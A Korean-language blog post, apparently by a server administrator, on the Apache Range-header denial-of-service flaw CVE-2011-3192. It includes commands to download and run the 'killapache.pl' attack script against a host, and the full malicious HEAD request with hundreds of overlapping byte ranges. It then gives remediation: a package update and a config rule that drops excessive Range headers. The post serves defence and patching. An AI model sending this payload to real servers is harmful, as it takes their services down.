얼마전 아파치 웹서버 무력화시킬 심각한 DoS 결함 발견 이라는 기사가 나왔습니다. 메일링 리스트를 보니 영향 받는 소프트웨어는
Apache 1.3.x 및 이전, Apache 2.2.19 이전 버전이라고 하니 현재의 아파치 웹서버 대부분이 해당되는 이슈입니다. 따라서 아파치 웹서버를 사용하는 국내의 서버관리자들, 그리고 아파치가 탑재된 각종 산업분야의 엔지니어들은 빠른 대응을 해야겠습니다. 저도 처리해야지 하다가 오늘에서야 시간이 나서 후다닥 해치웠습니다. 개략적인 내용과 조치방법을 정리했으니 유용하게 사용하시기 바랍니다.

Range 요청 취약점?

http는 헤더정보에 Range를 사용해서 콘텐츠의 일부만 요청할 수 있습니다 . 파일 이어받기 또는 p2p 등에서 파일의 일부만을 특정 서버에서 받고자 할 때, video 스트리밍, pdf 등의 다운로드가 사용합니다. 이번의 이슈는 이 http header 에 Range를 요청하는 취약점을 이용해서 아파치 웹서버에 DoS 공격이 가능하다는 것이죠

Range ?
Range: bytes= n-m
문서가 요구하는 부분적인 범위를 명시한다. 여러 개의 범위는 세미콜론으로 구분하여 나열한다. 만일 쉼표로 구별된 바이트 범위인 첫째 숫자가 없다면 범위는 문서의 끝에서부터 센다고 가정한다. 만일 둘째 숫자가 없다면 범위는 끝에서 바이트 n까지이다. 첫째 바이트는 바이트 0이다.


이 공격을 테스트하기 위해서 http://goo.gl/gKMYo 의 Apache Killer 스크립트를 다운로드 받았습니다.

cpan -i Parallel::ForkManager
wget http://static.hackersgarage.com/killapache.pl.hackersgarage.com
mv killapache.pl.hackersgarage.com killapache.pl

실행 권한 부여
chmod u+x killapache.pl

공격시도
perl killapache.pl example.com 50

killapache.pl 스크립트는 아래와 같은 Range 요청을 해당 웹서버에 보냅니다.

HEAD / HTTP/1.1
Host: 192.168.10.140
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-
16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-
33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-
50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-
67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-
84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-
101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-
115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-
129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-
143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-
157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-
171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-
185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-
199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-
213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-
227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-
241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-
255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-
269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-
283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-
297,5-298,5-299,5-300,5-301,

--CUT--

1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-1026,5-1027,5-
1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-1039,5-
1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-
1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-
1064,5-1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-
1076,5-1077,5-1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-
1088,5-1089,5-1090,5-1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-
1100,5-1101,5-1102,5-1103,5-1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-
1112,5-1113,5-1114,5-1115,5-1116,5-1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-
1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-
1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-1143,5-1144,5-1145,5-1146,5-1147,5-
1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-1156,5-1157,5-1158,5-1159,5-
1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-1169,5-1170,5-1171,5-
1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-1182,5-1183,5-
1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194,5-1195,5-
1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-
1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-
1220,5-1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-
1232,5-1233,5-1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-
1244,5-1245,5-1246,5-1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-
1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-
1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-
1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-
1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299
Accept-Encoding: gzip
Connection: close

그 결과 버그가 존재하는 아파치 웹서버의 경우에는 아래와 같이 시스템의 CPU, 메모리등의 자원을 엄청나게 소모하게 되고 결국 정상적인 서비스가 불가능하게 됩니다.




조치방법

이 보안 이슈에 대응하는 방법은 두가지가 있습니다. 현재 이슈가 해결된 버전이 이미 나와있기 때문에 가장 좋은 방법은 아파치 웹서비스 패키지를 최신으로 업데이트하는 것이 좋습니다, 하지만 운영중인 서비스에 대해서 재설치의 압박이 있는 경우도 있으니 그런 경우라면 웹서버 Range header의 조건을 검사하여 차단하는 방법이 있습니다.

1) Apache 2.2.20 업데이트(Apache 2.2.20 for CentOS 5.x)

소스 컴파일을 하시는 경우에는 홈페이지에서(http://httpd.apache.org/download.cgi) 최신 소스코드를 다운받아 설치하시기 바랍니다. 저는 CentOS 5.5 를 사용하는데 아직 yum repository 에는 최신의 아파치 rpm이 없기 때문에 다른곳을 이용해서 설치했습니다.

Yum repository 추가(자신의 환경에 맞는 repository를 추가해 줍니다)
i386 :
rpm -ihv http://centos.alt.ru/repository/centos/5/i386/centalt-release-5-3.noarch.rpm

x86_64:
rpm -ihv http://centos.alt.ru/repository/centos/5/x86_64/centalt-release-5-3.noarch.rpm

설치된 Repository 확인
yum repolist

아파치 버전 확인
yum --enablerepo=CentALT list httpd

아파치 업데이트
yum --enablerepo=CentALT install httpd

웹서버 재시작
service httpd restart


2) http header의 Range 요청을 검사해서 차단하는 방법

대부분 정상적인 Range 요청시 필드가 5개 이상은 넘지 않기 때문에 5개를 넘는 Range 요청이 있다면 Range 요청은 리셋하는 방법입니다. 웹서버 환경설정 파일을 아래와 같이 새로 추가합니다.(rpm으로 설치했다면 /etc/httpd/conf.d/ 안에 생성)

/etc/httpd/conf.d/range-CVE-2011-3192.conf 파일의 내용

# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range

# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range

웹서버 재시작
service httpd restart


CVE 자료(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192) 를 보니 8/19에 접수된 이슈인데 8/30 이슈가 해결된 아파치 2.2.20 버전이 나왔습니다. 이번 일을 통해서 다시한번 오픈소스SW의 보안에 대한 빠른 대응을 느끼게 됩니다. SW를 개발하는 입장에서 보면 아파치정도의 세계시장 점유율을 가진 소프트웨어가 이렇게 빠르게 대응하는 것이 가능할까하는 의문이 듭니다. 이것이 오픈소스SW의 힘이겠죠  :-)


참고 자료


블로그 이미지

오픈비 chaeya

시간이 지날수록 늘어가는 좋아하는 것들에 대한 삽질 기록. 그리고 작은 목소리.